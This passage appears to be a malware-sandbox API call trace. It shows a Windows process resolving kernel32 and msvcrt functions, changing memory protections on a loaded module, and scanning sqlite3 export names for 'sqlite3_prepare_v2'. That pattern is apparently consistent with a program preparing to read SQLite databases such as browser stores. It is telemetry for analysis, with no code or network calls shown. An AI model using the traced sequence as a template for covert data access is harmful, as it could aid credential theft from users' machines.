[0052.540] GetProcAddress (hModule=0x76840000, lpProcName="AreFileApisANSI") returned 0x7685f300
[0052.540] GetProcAddress (hModule=0x76840000, lpProcName="CloseHandle") returned 0x76866630
[0052.540] GetProcAddress (hModule=0x76840000, lpProcName="CreateFileA") returned 0x76866880
[0052.540] GetProcAddress (hModule=0x76840000, lpProcName="CreateFileMappingA") returned 0x768579c0
[0052.540] GetProcAddress (hModule=0x76840000, lpProcName="CreateFileMappingW") returned 0x768599b0
[0052.540] GetProcAddress (hModule=0x76840000, lpProcName="CreateFileW") returned 0x76866890
[0052.540] GetProcAddress (hModule=0x76840000, lpProcName="CreateMutexW") returned 0x768666f0
[0052.540] GetProcAddress (hModule=0x76840000, lpProcName="DeleteCriticalSection") returned 0x76f20e60
[0052.541] GetProcAddress (hModule=0x76840000, lpProcName="DeleteFileA") returned 0x768668b0
[0052.541] GetProcAddress (hModule=0x76840000, lpProcName="DeleteFileW") returned 0x768668c0
[0052.541] GetProcAddress (hModule=0x76840000, lpProcName="EnterCriticalSection") returned 0x76f0f290
[0052.541] GetProcAddress (hModule=0x76840000, lpProcName="FlushFileBuffers") returned 0x768669b0
[0052.541] GetProcAddress (hModule=0x76840000, lpProcName="FlushViewOfFile") returned 0x7685f930
[0052.541] GetProcAddress (hModule=0x76840000, lpProcName="FormatMessageA") returned 0x7685f830
[0052.541] GetProcAddress (hModule=0x76840000, lpProcName="FormatMessageW") returned 0x76864f80
[0052.541] GetProcAddress (hModule=0x76840000, lpProcName="FreeLibrary") returned 0x76859f50
[0052.542] GetProcAddress (hModule=0x76840000, lpProcName="GetCurrentProcess") returned 0x768538c0
[0052.542] GetProcAddress (hModule=0x76840000, lpProcName="GetCurrentProcessId") returned 0x768523e0
[0052.542] GetProcAddress (hModule=0x76840000, lpProcName="GetCurrentThreadId") returned 0x76851b90
[0052.542] GetProcAddress (hModule=0x76840000, lpProcName="GetDiskFreeSpaceA") returned 0x768669c0
[0052.542] GetProcAddress (hModule=0x76840000, lpProcName="GetDiskFreeSpaceW") returned 0x768669f0
[0052.542] GetProcAddress (hModule=0x76840000, lpProcName="GetFileAttributesA") returned 0x76866a20
[0052.542] GetProcAddress (hModule=0x76840000, lpProcName="GetFileAttributesExW") returned 0x76866a40
[0052.543] GetProcAddress (hModule=0x76840000, lpProcName="GetFileAttributesW") returned 0x76866a50
[0052.543] GetProcAddress (hModule=0x76840000, lpProcName="GetFileSize") returned 0x76866a70
[0052.543] GetProcAddress (hModule=0x76840000, lpProcName="GetFullPathNameA") returned 0x76866ad0
[0052.543] GetProcAddress (hModule=0x76840000, lpProcName="GetFullPathNameW") returned 0x76866ae0
[0052.543] GetProcAddress (hModule=0x76840000, lpProcName="GetLastError") returned 0x76853870
[0052.543] GetProcAddress (hModule=0x76840000, lpProcName="GetModuleHandleA") returned 0x768599f0
[0052.543] GetProcAddress (hModule=0x76840000, lpProcName="GetProcAddress") returned 0x768578b0
[0052.543] GetProcAddress (hModule=0x76840000, lpProcName="GetProcessHeap") returned 0x76857710
[0052.544] GetProcAddress (hModule=0x76840000, lpProcName="GetSystemInfo") returned 0x7685a0f0
[0052.544] GetProcAddress (hModule=0x76840000, lpProcName="GetSystemTime") returned 0x76864940
[0052.544] GetProcAddress (hModule=0x76840000, lpProcName="GetSystemTimeAsFileTime") returned 0x76857620
[0052.544] GetProcAddress (hModule=0x76840000, lpProcName="GetTempPathA") returned 0x76866b20
[0052.544] GetProcAddress (hModule=0x76840000, lpProcName="GetTempPathW") returned 0x76866b30
[0052.544] GetProcAddress (hModule=0x76840000, lpProcName="GetTickCount") returned 0x76865eb0
[0052.544] GetProcAddress (hModule=0x76840000, lpProcName="GetVersionExA") returned 0x7685a700
[0052.544] GetProcAddress (hModule=0x76840000, lpProcName="GetVersionExW") returned 0x7685aa80
[0052.545] GetProcAddress (hModule=0x76840000, lpProcName="HeapAlloc") returned 0x76f02bd0
[0052.545] GetProcAddress (hModule=0x76840000, lpProcName="HeapCompact") returned 0x768812a0
[0052.545] GetProcAddress (hModule=0x76840000, lpProcName="HeapCreate") returned 0x7685a100
[0052.545] GetProcAddress (hModule=0x76840000, lpProcName="HeapDestroy") returned 0x76864c30
[0052.545] GetProcAddress (hModule=0x76840000, lpProcName="HeapFree") returned 0x76851ba0
[0052.545] GetProcAddress (hModule=0x76840000, lpProcName="HeapReAlloc") returned 0x76efefe0
[0052.545] GetProcAddress (hModule=0x76840000, lpProcName="HeapSize") returned 0x76efbb20
[0052.545] GetProcAddress (hModule=0x76840000, lpProcName="HeapValidate") returned 0x7685cf80
[0052.546] GetProcAddress (hModule=0x76840000, lpProcName="InitializeCriticalSection") returned 0x76f2a200
[0052.546] GetProcAddress (hModule=0x76840000, lpProcName="InterlockedCompareExchange") returned 0x76863ff0
[0052.546] GetProcAddress (hModule=0x76840000, lpProcName="LeaveCriticalSection") returned 0x76f0f210
[0052.546] GetProcAddress (hModule=0x76840000, lpProcName="LoadLibraryA") returned 0x76864bf0
[0052.546] GetProcAddress (hModule=0x76840000, lpProcName="LoadLibraryW") returned 0x7685a840
[0052.546] GetProcAddress (hModule=0x76840000, lpProcName="LocalFree") returned 0x768579a0
[0052.546] GetProcAddress (hModule=0x76840000, lpProcName="LockFile") returned 0x76866b80
[0052.546] GetProcAddress (hModule=0x76840000, lpProcName="LockFileEx") returned 0x76866b90
[0052.547] GetProcAddress (hModule=0x76840000, lpProcName="MapViewOfFile") returned 0x76858d60
[0052.547] GetProcAddress (hModule=0x76840000, lpProcName="MultiByteToWideChar") returned 0x76852ad0
[0052.547] GetProcAddress (hModule=0x76840000, lpProcName="OutputDebugStringA") returned 0x7685fde0
[0052.547] GetProcAddress (hModule=0x76840000, lpProcName="OutputDebugStringW") returned 0x768819a0
[0052.547] GetProcAddress (hModule=0x76840000, lpProcName="QueryPerformanceCounter") returned 0x768538a0
[0052.547] GetProcAddress (hModule=0x76840000, lpProcName="ReadFile") returned 0x76866bb0
[0052.547] GetProcAddress (hModule=0x76840000, lpProcName="SetEndOfFile") returned 0x76866c00
[0052.547] GetProcAddress (hModule=0x76840000, lpProcName="SetFilePointer") returned 0x76866c40
[0052.548] GetProcAddress (hModule=0x76840000, lpProcName="SetUnhandledExceptionFilter") returned 0x7685a940
[0052.548] GetProcAddress (hModule=0x76840000, lpProcName="Sleep") returned 0x76857990
[0052.548] GetProcAddress (hModule=0x76840000, lpProcName="SystemTimeToFileTime") returned 0x76864c10
[0052.548] GetProcAddress (hModule=0x76840000, lpProcName="TerminateProcess") returned 0x76865100
[0052.548] GetProcAddress (hModule=0x76840000, lpProcName="TlsGetValue") returned 0x76851b70
[0052.548] GetProcAddress (hModule=0x76840000, lpProcName="TryEnterCriticalSection") returned 0x76f29190
[0052.548] GetProcAddress (hModule=0x76840000, lpProcName="UnhandledExceptionFilter") returned 0x76882670
[0052.548] GetProcAddress (hModule=0x76840000, lpProcName="UnlockFile") returned 0x76866c80
[0052.551] GetProcAddress (hModule=0x76840000, lpProcName="UnlockFileEx") returned 0x76866c90
[0052.551] GetProcAddress (hModule=0x76840000, lpProcName="UnmapViewOfFile") returned 0x76859b20
[0052.552] GetProcAddress (hModule=0x76840000, lpProcName="VirtualProtect") returned 0x76857a50
[0052.552] GetProcAddress (hModule=0x76840000, lpProcName="VirtualQuery") returned 0x76857a90
[0052.552] GetProcAddress (hModule=0x76840000, lpProcName="WaitForSingleObject") returned 0x76866820
[0052.552] GetProcAddress (hModule=0x76840000, lpProcName="WaitForSingleObjectEx") returned 0x76866830
[0052.552] GetProcAddress (hModule=0x76840000, lpProcName="WideCharToMultiByte") returned 0x76853880
[0052.552] GetProcAddress (hModule=0x76840000, lpProcName="WriteFile") returned 0x76866ca0
[0052.552] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x74910000
[0052.552] GetProcAddress (hModule=0x74910000, lpProcName="__dllonexit") returned 0x74967250
[0052.553] GetProcAddress (hModule=0x74910000, lpProcName="__setusermatherr") returned 0x749a7910
[0052.553] GetProcAddress (hModule=0x74910000, lpProcName="_amsg_exit") returned 0x749765b0
[0052.553] GetProcAddress (hModule=0x74910000, lpProcName="_beginthreadex") returned 0x74977110
[0052.553] GetProcAddress (hModule=0x74910000, lpProcName="_endthreadex") returned 0x74977220
[0052.553] GetProcAddress (hModule=0x74910000, lpProcName="_errno") returned 0x74945cd0
[0052.553] GetProcAddress (hModule=0x74910000, lpProcName="_initterm") returned 0x749768d0
[0052.553] GetProcAddress (hModule=0x74910000, lpProcName="_iob") returned 0x749c1208
[0052.553] GetProcAddress (hModule=0x74910000, lpProcName="_lock") returned 0x749772c0
[0052.554] GetProcAddress (hModule=0x74910000, lpProcName="_onexit") returned 0x74967330
[0052.554] GetProcAddress (hModule=0x74910000, lpProcName="localtime") returned 0x7499ded0
[0052.554] GetProcAddress (hModule=0x74910000, lpProcName="calloc") returned 0x749576f0
[0052.554] GetProcAddress (hModule=0x74910000, lpProcName="cosh") returned 0x749a2f5a
[0052.554] GetProcAddress (hModule=0x74910000, lpProcName="fprintf") returned 0x749835d0
[0052.554] GetProcAddress (hModule=0x74910000, lpProcName="free") returned 0x74957740
[0052.554] GetProcAddress (hModule=0x74910000, lpProcName="fwrite") returned 0x74989810
[0052.554] GetProcAddress (hModule=0x74910000, lpProcName="malloc") returned 0x74957900
[0052.555] GetProcAddress (hModule=0x74910000, lpProcName="memcmp") returned 0x74998440
[0052.555] GetProcAddress (hModule=0x74910000, lpProcName="memmove") returned 0x749988b0
[0052.555] GetProcAddress (hModule=0x74910000, lpProcName="qsort") returned 0x7496c200
[0052.555] GetProcAddress (hModule=0x74910000, lpProcName="realloc") returned 0x749579f0
[0052.555] GetProcAddress (hModule=0x74910000, lpProcName="sinh") returned 0x749a2f50
[0052.555] GetProcAddress (hModule=0x74910000, lpProcName="strcmp") returned 0x74998e60
[0052.555] GetProcAddress (hModule=0x74910000, lpProcName="strcspn") returned 0x74998f70
[0052.555] GetProcAddress (hModule=0x74910000, lpProcName="strlen") returned 0x74998fc0
[0052.556] GetProcAddress (hModule=0x74910000, lpProcName="strncmp") returned 0x74999290
[0052.556] GetProcAddress (hModule=0x74910000, lpProcName="strrchr") returned 0x74999600
[0052.556] GetProcAddress (hModule=0x74910000, lpProcName="_unlock") returned 0x74977470
[0052.556] GetProcAddress (hModule=0x74910000, lpProcName="abort") returned 0x7496bb60
[0052.556] GetProcAddress (hModule=0x74910000, lpProcName="acos") returned 0x749a2a40
[0052.556] GetProcAddress (hModule=0x74910000, lpProcName="asin") returned 0x749a2b90
[0052.556] GetProcAddress (hModule=0x74910000, lpProcName="atan") returned 0x749a2ce0
[0052.556] GetProcAddress (hModule=0x74910000, lpProcName="tan") returned 0x749a37a0
[0052.557] GetProcAddress (hModule=0x74910000, lpProcName="tanh") returned 0x749a2f61
[0052.557] GetProcAddress (hModule=0x74910000, lpProcName="vfprintf") returned 0x74985c40
[0052.557] VirtualProtect (in: lpAddress=0x61e01000, dwSize=0xb2584, flNewProtect=0x20, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.577] VirtualProtect (in: lpAddress=0x61eb4000, dwSize=0x277c, flNewProtect=0x4, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.577] VirtualProtect (in: lpAddress=0x61eb7000, dwSize=0x14470, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.577] VirtualProtect (in: lpAddress=0x61ecc000, dwSize=0x828, flNewProtect=0x4, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.577] VirtualProtect (in: lpAddress=0x61ecd000, dwSize=0x2a88, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.578] VirtualProtect (in: lpAddress=0x61ed0000, dwSize=0xcd0, flNewProtect=0x4, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.578] VirtualProtect (in: lpAddress=0x61ed1000, dwSize=0x2c, flNewProtect=0x4, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.578] VirtualProtect (in: lpAddress=0x61ed2000, dwSize=0x20, flNewProtect=0x4, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.578] VirtualProtect (in: lpAddress=0x61ed3000, dwSize=0x4a8, flNewProtect=0x4, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.578] VirtualProtect (in: lpAddress=0x61ed4000, dwSize=0x3c18, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.578] VirtualProtect (in: lpAddress=0x61ed8000, dwSize=0x538, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.579] VirtualProtect (in: lpAddress=0x61ed9000, dwSize=0xc852, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.579] VirtualProtect (in: lpAddress=0x61ee6000, dwSize=0x275d, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.579] VirtualProtect (in: lpAddress=0x61ee9000, dwSize=0x2d9a, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.579] VirtualProtect (in: lpAddress=0x61eec000, dwSize=0xb5c, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.579] VirtualProtect (in: lpAddress=0x61eed000, dwSize=0x323, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.580] VirtualProtect (in: lpAddress=0x61eee000, dwSize=0x3a73, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.580] VirtualProtect (in: lpAddress=0x61ef2000, dwSize=0x350, flNewProtect=0x2, lpflOldProtect=0x181db4 | out: lpflOldProtect=0x181db4*=0x40) returned 1
[0052.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x181d64 | out: lpSystemTimeAsFileTime=0x181d64*(dwLowDateTime=0x7a076d77, dwHighDateTime=0x1d96e12))
[0052.589] GetCurrentProcessId () returned 0x12ec
[0052.589] GetCurrentThreadId () returned 0x12f0
[0052.589] GetTickCount () returned 0x14dfe71
[0052.589] QueryPerformanceCounter (in: lpPerformanceCount=0x181d6c | out: lpPerformanceCount=0x181d6c*=2205097678085) returned 1
[0052.605] VirtualQuery (in: lpAddress=0x61eb4000, lpBuffer=0x181be8, dwLength=0x1c | out: lpBuffer=0x181be8*(BaseAddress=0x61eb4000, AllocationBase=0x61e00000, AllocationProtect=0x40, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0052.619] malloc (_Size=0x80) returned 0x4f89b8
[0052.633] __dllonexit () returned 0x61e01496
[0052.633] __dllonexit () returned 0x61eaf7b0
[0052.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.633] StrCmpCA (pszStr1="sqlite3_aggregate_context", pszStr2="sqlite3_prepare_v2") returned -15
[0052.633] StrCmpCA (pszStr1="sqlite3_aggregate_count", pszStr2="sqlite3_prepare_v2") returned -15
[0052.633] StrCmpCA (pszStr1="sqlite3_auto_extension", pszStr2="sqlite3_prepare_v2") returned -15
[0052.633] StrCmpCA (pszStr1="sqlite3_autovacuum_pages", pszStr2="sqlite3_prepare_v2") returned -15
[0052.633] StrCmpCA (pszStr1="sqlite3_backup_finish", pszStr2="sqlite3_prepare_v2") returned -14
[0052.633] StrCmpCA (pszStr1="sqlite3_backup_init", pszStr2="sqlite3_prepare_v2") returned -14
[0052.633] StrCmpCA (pszStr1="sqlite3_backup_pagecount", pszStr2="sqlite3_prepare_v2") returned -14
[0052.633] StrCmpCA (pszStr1="sqlite3_backup_remaining", pszStr2="sqlite3_prepare_v2") returned -14
[0052.633] StrCmpCA (pszStr1="sqlite3_backup_step", pszStr2="sqlite3_prepare_v2") returned -14
[0052.633] StrCmpCA (pszStr1="sqlite3_bind_blob", pszStr2="sqlite3_prepare_v2") returned -14
[0052.633] StrCmpCA (pszStr1="sqlite3_bind_blob64", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_double", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_int", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_int64", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_null", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_parameter_count", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_parameter_index", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_parameter_name", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_pointer", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_text", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_text16", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_text64", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_value", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_zeroblob", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_bind_zeroblob64", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_blob_bytes", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_blob_close", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_blob_open", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_blob_read", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_blob_reopen", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_blob_write", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_busy_handler", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_busy_timeout", pszStr2="sqlite3_prepare_v2") returned -14
[0052.634] StrCmpCA (pszStr1="sqlite3_cancel_auto_extension", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_changes", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_changes64", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_clear_bindings", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_close", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_close_v2", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_collation_needed", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_collation_needed16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_column_blob", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_column_bytes", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_column_bytes16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_column_count", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_column_database_name", pszStr2="sqlite3_prepare_v2") returned -13
[0052.634] StrCmpCA (pszStr1="sqlite3_column_database_name16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_decltype", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_decltype16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_double", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_int", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_int64", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_name", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_name16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_origin_name", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_origin_name16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_table_name", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_table_name16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_text", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_text16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_type", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_column_value", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_commit_hook", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_compileoption_get", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_compileoption_used", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_complete", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_complete16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_config", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_context_db_handle", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_collation", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_collation16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_collation_v2", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_filename", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_function", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_function16", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_function_v2", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_module", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_module_v2", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_create_window_function", pszStr2="sqlite3_prepare_v2") returned -13
[0052.635] StrCmpCA (pszStr1="sqlite3_data_count", pszStr2="sqlite3_prepare_v2") returned -12
[0052.635] StrCmpCA (pszStr1="sqlite3_data_directory", pszStr2="sqlite3_prepare_v2") returned -12
[0052.635] StrCmpCA (pszStr1="sqlite3_database_file_object", pszStr2="sqlite3_prepare_v2") returned -12
[0052.635] StrCmpCA (pszStr1="sqlite3_db_cacheflush", pszStr2="sqlite3_prepare_v2") returned -12
[0052.635] StrCmpCA (pszStr1="sqlite3_db_config", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_db_filename", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_db_handle", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_db_mutex", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_db_name", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_db_readonly", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_db_release_memory", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_db_status", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_declare_vtab", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_deserialize", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_drop_modules", pszStr2="sqlite3_prepare_v2") returned -12
[0052.636] StrCmpCA (pszStr1="sqlite3_enable_load_extension", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_enable_shared_cache", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_errcode", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_errmsg", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_errmsg16", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_error_offset", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_errstr", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_exec", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_expanded_sql", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_expired", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_extended_errcode", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_extended_result_codes", pszStr2="sqlite3_prepare_v2") returned -11
[0052.636] StrCmpCA (pszStr1="sqlite3_file_control", pszStr2="sqlite3_prepare_v2") returned -10
[0052.636] StrCmpCA (pszStr1="sqlite3_filename_database", pszStr2="sqlite3_prepare_v2") returned -10
[0052.636] StrCmpCA (pszStr1="sqlite3_filename_journal", pszStr2="sqlite3_prepare_v2") returned -10
[0052.636] StrCmpCA (pszStr1="sqlite3_filename_wal", pszStr2="sqlite3_prepare_v2") returned -10
[0052.636] StrCmpCA (pszStr1="sqlite3_finalize", pszStr2="sqlite3_prepare_v2") returned -10
[0052.636] StrCmpCA (pszStr1="sqlite3_free", pszStr2="sqlite3_prepare_v2") returned -10
[0052.636] StrCmpCA (pszStr1="sqlite3_free_filename", pszStr2="sqlite3_prepare_v2") returned -10
[0052.636] StrCmpCA (pszStr1="sqlite3_free_table", pszStr2="sqlite3_prepare_v2") returned -10
[0052.636] StrCmpCA (pszStr1="sqlite3_get_autocommit", pszStr2="sqlite3_prepare_v2") returned -9
[0052.636] StrCmpCA (pszStr1="sqlite3_get_auxdata", pszStr2="sqlite3_prepare_v2") returned -9
[0052.636] StrCmpCA (pszStr1="sqlite3_get_table", pszStr2="sqlite3_prepare_v2") returned -9
[0052.636] StrCmpCA (pszStr1="sqlite3_global_recover", pszStr2="sqlite3_prepare_v2") returned -9
[0052.636] StrCmpCA (pszStr1="sqlite3_hard_heap_limit64", pszStr2="sqlite3_prepare_v2") returned -8
[0052.636] StrCmpCA (pszStr1="sqlite3_initialize", pszStr2="sqlite3_prepare_v2") returned -7
[0052.637] StrCmpCA (pszStr1="sqlite3_interrupt", pszStr2="sqlite3_prepare_v2") returned -7
[0052.637] StrCmpCA (pszStr1="sqlite3_keyword_check", pszStr2="sqlite3_prepare_v2") returned -5
[0052.637] StrCmpCA (pszStr1="sqlite3_keyword_count", pszStr2="sqlite3_prepare_v2") returned -5
[0052.637] StrCmpCA (pszStr1="sqlite3_keyword_name", pszStr2="sqlite3_prepare_v2") returned -5
[0052.637] StrCmpCA (pszStr1="sqlite3_last_insert_rowid", pszStr2="sqlite3_prepare_v2") returned -4
[0052.637] StrCmpCA (pszStr1="sqlite3_libversion", pszStr2="sqlite3_prepare_v2") returned -4
[0052.637] StrCmpCA (pszStr1="sqlite3_libversion_number", pszStr2="sqlite3_prepare_v2") returned -4
[0052.637] StrCmpCA (pszStr1="sqlite3_limit", pszStr2="sqlite3_prepare_v2") returned -4
[0052.637] StrCmpCA (pszStr1="sqlite3_load_extension", pszStr2="sqlite3_prepare_v2") returned -4
[0052.637] StrCmpCA (pszStr1="sqlite3_log", pszStr2="sqlite3_prepare_v2") returned -4
